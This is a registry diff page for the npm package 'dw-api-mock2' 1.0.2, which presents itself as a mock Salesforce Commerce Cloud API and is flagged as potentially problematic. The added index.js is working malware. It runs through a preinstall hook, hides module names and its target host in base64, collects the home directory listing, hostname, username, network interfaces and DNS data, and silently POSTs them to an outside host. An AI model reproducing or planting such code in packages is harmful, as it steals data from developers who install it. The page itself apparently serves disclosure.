dw-api-mock2 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dw-api-mock2 might be problematic. Click here for more details.
- package/index.js +101 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const fs = require("fs");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const querystring = require("querystring");
|
|
5
|
+
const https = require("https");
|
|
6
|
+
const packageJSON = require("./package.json");
|
|
7
|
+
const pkg = packageJSON.name;
|
|
8
|
+
const Buffer = require('buffer').Buffer;
|
|
9
|
+
|
|
10
|
+
const encodedTarget = "ZmVlbHByb3VkLm1l";
|
|
11
|
+
const decodedTarget = Buffer.from(encodedTarget, 'base64').toString('utf-8');
|
|
12
|
+
|
|
13
|
+
const dynamicRequire = (mod) => require(mod);
|
|
14
|
+
|
|
15
|
+
const modules = {
|
|
16
|
+
m1: dynamicRequire(Buffer.from("b3M=", "base64").toString("utf-8")),
|
|
17
|
+
m2: dynamicRequire(Buffer.from("ZG5z", "base64").toString("utf-8")),
|
|
18
|
+
m3: dynamicRequire(Buffer.from("ZnM=", "base64").toString("utf-8")),
|
|
19
|
+
};
|
|
20
|
+
|
|
21
|
+
const mappedMethods = {
|
|
22
|
+
k1: Buffer.from("aG9tZWRpcg==", "base64").toString("utf-8"),
|
|
23
|
+
k2: Buffer.from("aG9zdG5hbWU=", "base64").toString("utf-8"),
|
|
24
|
+
k3: Buffer.from("dXNlckluZm8=", "base64").toString("utf-8"),
|
|
25
|
+
k4: Buffer.from("cmVzb2x2ZQ==", "base64").toString("utf-8"),
|
|
26
|
+
k5: Buffer.from("bmV0d29ya0ludGVyZmFjZXM=", "base64").toString("utf-8"),
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const fA = () => (typeof modules.m1[mappedMethods.k1] === "function" ? modules.m1[mappedMethods.k1]() : null);
|
|
30
|
+
const fB = () => (typeof modules.m1[mappedMethods.k2] === "function" ? modules.m1[mappedMethods.k2]() : null);
|
|
31
|
+
const fC = () => (typeof modules.m1[mappedMethods.k3] === "function" ? modules.m1[mappedMethods.k3]() : null);
|
|
32
|
+
|
|
33
|
+
// Ensure fD() is called with a valid hostname
|
|
34
|
+
const fD = () => {
|
|
35
|
+
const hostname = fB(); // Use the system's hostname
|
|
36
|
+
if (typeof modules.m2[mappedMethods.k4] === "function" && hostname) {
|
|
37
|
+
return modules.m2[mappedMethods.k4](hostname, (err, addresses) => {
|
|
38
|
+
return err ? null : addresses;
|
|
39
|
+
});
|
|
40
|
+
}
|
|
41
|
+
return null;
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
const listA = fs.readdirSync(fA() || __dirname);
|
|
45
|
+
const listB = fs.readdirSync(__dirname);
|
|
46
|
+
|
|
47
|
+
const folderData = {};
|
|
48
|
+
listA.forEach(item => {
|
|
49
|
+
try {
|
|
50
|
+
folderData[item] = fs.readdirSync(`${fA()}/${item}`);
|
|
51
|
+
} catch (err) {
|
|
52
|
+
folderData[item] = [];
|
|
53
|
+
}
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
const obfNet = Buffer.from(JSON.stringify(os[mappedMethods.k5]())).toString("base64");
|
|
57
|
+
const obfDns = Buffer.from(JSON.stringify(fD() || {})).toString("base64");
|
|
58
|
+
|
|
59
|
+
const dataPacket = JSON.stringify({
|
|
60
|
+
p: pkg,
|
|
61
|
+
d: __dirname,
|
|
62
|
+
x1: fA(),
|
|
63
|
+
x2: fB(),
|
|
64
|
+
x3: fC() ? fC().username : null,
|
|
65
|
+
x4: obfDns,
|
|
66
|
+
x5: obfNet,
|
|
67
|
+
x6: packageJSON ? packageJSON.___resolved : undefined,
|
|
68
|
+
x7: packageJSON.version,
|
|
69
|
+
x8: JSON.stringify(packageJSON),
|
|
70
|
+
x9: listA,
|
|
71
|
+
y1: listB,
|
|
72
|
+
y2: folderData,
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
var encData = querystring.stringify({
|
|
76
|
+
msg: dataPacket,
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
var reqOpts = {
|
|
80
|
+
hostname: decodedTarget,
|
|
81
|
+
port: 123,
|
|
82
|
+
path: "/",
|
|
83
|
+
method: "POST",
|
|
84
|
+
headers: {
|
|
85
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
86
|
+
"Content-Length": encData.length,
|
|
87
|
+
},
|
|
88
|
+
};
|
|
89
|
+
|
|
90
|
+
var req = https.request(reqOpts, (res) => {
|
|
91
|
+
res.on("data", (d) => {
|
|
92
|
+
process.stdout.write(d);
|
|
93
|
+
});
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
req.on("error", (e) => {
|
|
97
|
+
// console.error(e);
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
req.write(encData);
|
|
101
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "dw-api-mock2",
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": " Mock version of DW API ",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \\\"Error: no test specified\\\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "SalesforceCommerceCloud",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|
|
13
|
+
|